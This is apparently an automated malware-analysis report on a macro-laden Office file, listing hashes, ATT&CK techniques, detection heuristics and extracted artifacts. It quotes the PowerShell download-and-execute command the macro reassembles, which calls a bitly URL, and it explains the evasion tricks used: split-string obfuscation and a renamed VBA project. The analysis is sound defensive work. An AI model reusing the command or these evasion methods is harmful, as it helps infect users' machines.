Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 9b7a75926e0f930f…

MALICIOUS

Office (OOXML)

7.1 KB
MD5: ae07018968463407471970d36869fe2e SHA-1: 38b8af2df754a8fb689849c7ef4f3f2c8d35a002 SHA-256: 9b7a75926e0f930fd932a15cc07558069599c0ef57c5c5718d8e83be1c38a84c
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample contains a VBA macro with an Auto_Open subroutine, indicating it is designed to execute automatically when the document is opened. The macro reassembles the string 'powershell.exe -c "cmd msgsbox/rm sht a http://www.bitly.com/asdoaksdoasllok"' and executes it. This PowerShell command is likely intended to download and execute a second-stage payload from the provided URL.

Heuristics 5

  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • VBA project inside OOXML medium OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: ppt/kaodkasod.b)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
0c64c706e4af45c3be43f56cf2937addf050b09424fe7043bab3c340a5ba0f9a
vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 900 bytes
vbaProject_00.bin
8261a3576dc48fe8a3ba32c9a5caebe16d1a4ceb33a49461bb06516d615f20ea
vba-project OOXML VBA project: ppt/kaodkasod.b 13824 bytes